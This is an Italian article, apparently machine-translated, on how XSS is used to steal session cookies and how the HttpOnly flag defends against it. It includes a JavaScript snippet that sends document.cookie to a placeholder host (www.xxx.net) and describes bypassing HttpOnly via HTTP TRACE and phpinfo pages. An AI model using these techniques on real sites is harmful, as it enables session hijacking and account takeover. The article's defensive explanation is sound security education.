Con l'ascesa dei servizi www, sempre più applicazioni si sono spostate verso strutture B/S, permettendo di accedere a una varietà di servizi web con un solo browser, ma questo sta anche portando sempre più problemi di sicurezza web. il servizio www si basa sul protocollo Http, Http è un protocollo senza stato, quindi per passare informazioni tra le sessioni è inevitabile utilizzare cookie o sessioni e altre tecnologie per segnare lo stato del visitatore e, che si tratti di un cookie o di una sessione, generalmente viene implementato usando cookie (Session viene effettivamente segnato con un token nel cookie del browser, Il server ottiene questo token e ne verifica la legittimità e lega lo stato corrispondente memorizzato sul server al browser), così inevitabilmente che si concentri sul cookie in modo sicuro; finché questo cookie viene ottenuto, si può ottenere l'identità di altri, il che è una cosa meravigliosa per gli intrusi, specialmente quando il cookie ottenuto appartiene a una persona ad alto privilegio come un amministratore, il danno è ancora maggiore. Tra vari problemi di sicurezza web, la vulnerabilità XSS è particolarmente pericolosa.
Per le applicazioni, una volta che c'è una vulnerabilità XSS, significa che altri possono eseguire script JS arbitrari nel browser, e se l'applicazione è open source o le funzioni sono pubbliche, altri possono usare Ajax per utilizzare queste funzioni, ma il processo è spesso ingombrante, specialmente se si vuole ottenere direttamente l'identità di qualcun altro per una navigazione casuale. Per applicazioni non open source, come lo sfondo web di alcuni grandi siti (una caratteristica significativa di web2.0 è il gran numero di interazioni, gli utenti spesso devono interagire con gli amministratori in background, come report di bug, o consegna di informazioni, ecc.), anche se possono esserci vulnerabilità nello scripting cross-site a causa dell'esistenza di interazione, ma a causa della mancanza di comprensione del background, è impossibile costruire codice ajax perfetto da usare, anche se si può usare js per ottenere il codice background e restituirlo per l'analisi, ma il processo è anche macchinoso e non nascosto. Al momento, è molto efficace utilizzare la vulnerabilità xss per ottenere cookie o dirottamento di sessione, analizzare specificamente l'autenticazione dell'applicazione e poi utilizzare alcune tecniche, e persino ottenere permanentemente l'identità dell'altra parte anche se l'altra parte esce dal programma.
Quindi, come si fa a ottenere il dirottamento di cookie o sessione? Nell'oggetto documento nel browser, le informazioni sui cookie sono memorizzate e il cookie può essere recuperato usando js; finché ricevi questo cookie, puoi avere l'identità di qualcun altro. Una tipica dichiarazione di attacco XSS è la seguente:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Alcune applicazioni possono adottare tecniche di linking del browser per affrontare questo problema, come il binding dei cookie all'user-agent del browser, e considerano il cookie invalido una volta scoperto. Questo metodo si è rivelato inefficace, perché quando l'intruso ruba il cookie, deve aver ottenuto l'User-agent contemporaneamente. Esiste anche un altro metodo rigoroso che lega i cookie a Remote-addr (in effetti, è legato a IP, ma alcuni programmi hanno problemi con il metodo di ottenimento dell'IP, il che porta anche a risparmio), ma questo porta a un'esperienza utente molto negativa, cambiare IP è una cosa comune, ad esempio lavoro e casa sono 2 IP, quindi questo metodo spesso non viene adottato. Pertanto, gli attacchi basati su cookie sono oggi molto popolari ed è facile ottenere lo status di amministratore dell'applicazione su alcuni siti web 2.0.
Come facciamo a mantenere al sicuro i nostri cookie sensibili? Attraverso l'analisi sopra, i cookie generali vengono ottenuti dagli oggetti documento, e dobbiamo solo rendere invisibili i cookie sensibili nel documento del browser. Fortunatamente, i browser ora generalmente accettano un parametro chiamato HttpOnly quando impostano i cookie, proprio come altri parametri come il dominio; una volta impostato questo Httponly, non vedrai il cookie nell'oggetto documento del browser, e il browser non sarà influenzato in alcun modo durante la navigazione, perché il cookie verrà inviato nell'intestazione del browser (incluso ajax). Le applicazioni generalmente non gestiscono questi cookie sensibili in js, noi usiamo HttpOnly per alcuni cookie sensibili e non impostiamo alcuni cookie che devono essere gestiti con js nell'applicazione, il che garantisce la sicurezza delle informazioni sui cookie e l'applicazione. Per maggiori informazioni su HttpOnly, vedi http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
L'intestazione per impostare i cookie sul tuo browser è la seguente:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Prendendo php come esempio, il supporto per HttpOnly è stato aggiunto alla funzione Setcookie in php 5.2, ad esempio:
setcookie("abc","test",NULL,NULL,NULL,NULL,NULL,TRUE);
Puoi impostare il cookie abc su HttpOnly, e il documento non sarà visibile a questo cookie. Poiché la funzione setcookie è essenzialmente un'interia, puoi anche usare l'intestazione per impostare HttpOnly. Poi usa document.cookie per vedere che questo cookie non è più disponibile. Usiamo questo metodo per proteggere Sessionid, come alcuni auth-cookie per l'autenticazione, così da non doverci preoccupare dell'identità ottenuta, cosa di grande importanza per alcuni programmi di background e webmail per migliorare la sicurezza. Quando utilizziamo di nuovo il metodo di attacco sopra, vediamo che non possiamo più ottenere cookie sensibili che abbiamo impostato come HttpOnly.
Tuttavia, si può anche vedere che HttpOnly non è onnipotente, innanzitutto non può risolvere il problema di xss, non può resistere all'attacco di alcuni hacker pazienti, né può impedire agli intrusi di effettuare submission ajax, e persino alcuni proxy basati su xss sono apparsi, ma è stato possibile alzare la soglia degli attacchi, almeno gli attacchi xss non vengono completati da ogni script kid, e altri metodi di attacco sono dovuti a alcune limitazioni ambientali e tecniche. Non è così comune come rubare biscotti.
HttpOnly può anche sfruttare alcune vulnerabilità o configurare Bypass, il problema principale è che finché puoi ricevere l'intestazione del cookie dal browser, Ad esempio, il precedente attacco Http Trace può restituire il cookie nella tua intestazione, e questo attacco può essere completato usando ajax o flash, che sono stati anch'essi patchati in ajax e flash. Un altro esempio notevole di possibile bypass su configurazione o applicazione è phpinfo; come sai, phpinfo mostrerà l'intestazione http inviata dal browser, incluse le informazioni di autenticazione che proteggiamo, e questa pagina spesso esiste su vari siti; finché usi ajax per ottenere la pagina phpinfo, togli la parte corrispondente all'intestazione per ottenere il cookie. Imperfezioni in alcune applicazioni possono anche causare perdite di header, che possono essere attaccate tanto quanto una pagina protetta da una verifica di base.
HttpOnly è meglio supportato in IE 6 e superiori, ed è ampiamente utilizzato in applicazioni come Hotmail, ottenendo risultati di sicurezza relativamente buoni.
|
Pubblicato su 03/06/2015 20:57:48
|
|
|
